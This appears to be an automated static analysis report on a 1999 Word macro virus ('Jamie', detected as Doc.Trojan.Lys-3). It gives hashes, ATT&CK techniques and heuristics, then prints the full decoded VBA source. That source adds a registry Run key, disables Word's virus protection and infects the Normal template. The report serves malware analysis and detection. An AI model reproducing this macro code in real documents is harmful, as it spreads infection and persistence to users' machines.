Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dad71e0fafc80931…

MALICIOUS

Office (OLE)

42.0 KB Created: 1999-05-23 05:16:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 68af7a8dd8f4c39744e1e1a224e4d167 SHA-1: 5b30ef783a01382bb97c513cce622e8ec280fb74 SHA-256: dad71e0fafc809314c09da865f75208451f2825f01b66a8fcb0677e5b53a2cb9
228 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for initial execution in malicious Office documents. The macro attempts to establish persistence by writing to the registry key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Jamie with the value C:\WINDOWS\SYSTEM\Jamie.vbs. It also creates several files, including C:\WINDOWS\SYSTEM\Jamie.dll and C:\WINDOWS\SYSTEM\Jamie.sys, suggesting it's designed to download and execute additional malicious content.

Heuristics 5

  • ClamAV: Doc.Trojan.Lys-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Lys-3
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Open "C:\WINDOWS\SYSTEM\Jamie.vbs" For Output As #1
Print #1, "Set Jamie = WScript.CreateObject(" & Chr(34) & "Word.Application" & Chr(34) & ")"
Print #1, "Jamie.Options.VirusProtection = False"
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Open "C:\WINDOWS\SYSTEM\Jamie.sys" For Output As #1
Print #1, "Private Sub Document_Open()"
Print #1, "ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromFile (" & Chr(34) & "C:\WINDOWS\SYSTEM\Jamie.dll" & Chr(34) & ")"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1821 bytes
SHA-256: 4ad38005c02865a1f43d0624972e53f5390d3d47f895bc7793d5fb99045094e5
Detection
ClamAV: Doc.Trojan.Lys-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Jamie") = "C:\WINDOWS\SYSTEM\Jamie.vbs"
ActiveDocument.VBProject.VBComponents.Item(1).Export ("C:\WINDOWS\SYSTEM\Jamie.dll")
Open "C:\WINDOWS\SYSTEM\Jamie.vbs" For Output As #1
Print #1, "Set Jamie = WScript.CreateObject(" & Chr(34) & "Word.Application" & Chr(34) & ")"
Print #1, "Jamie.Options.VirusProtection = False"
Print #1, "Jamie.Options.SaveNormalPrompt = False"
Print #1, "Jamie.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromFile (" & Chr(34) & "C:\WINDOWS\SYSTEM\Jamie.sys" & Chr(34) & ")"
Print #1, "Jamie.Application.Quit"
Close #1
Open "C:\WINDOWS\SYSTEM\Jamie.sys" For Output As #1
Print #1, "Private Sub Document_Open()"
Print #1, "ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromFile (" & Chr(34) & "C:\WINDOWS\SYSTEM\Jamie.dll" & Chr(34) & ")"
Print #1, "For x = 1 To ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines"
Print #1, "If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Find(" & Chr(34) & "Private Sub Document_Close()" & Chr(34) & ", 1, 1, 1, 30, True, True, True) = False Then ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1"
Print #1, "Next"
Print #1, "End Sub"
Close #1
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
',.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,
' Jamie(Type B - Strand C) By Lys KovicK
' Released: Sunday, May 23, 1999, 24:12
'';';';';';';';';';';';';';';';';';';';';'

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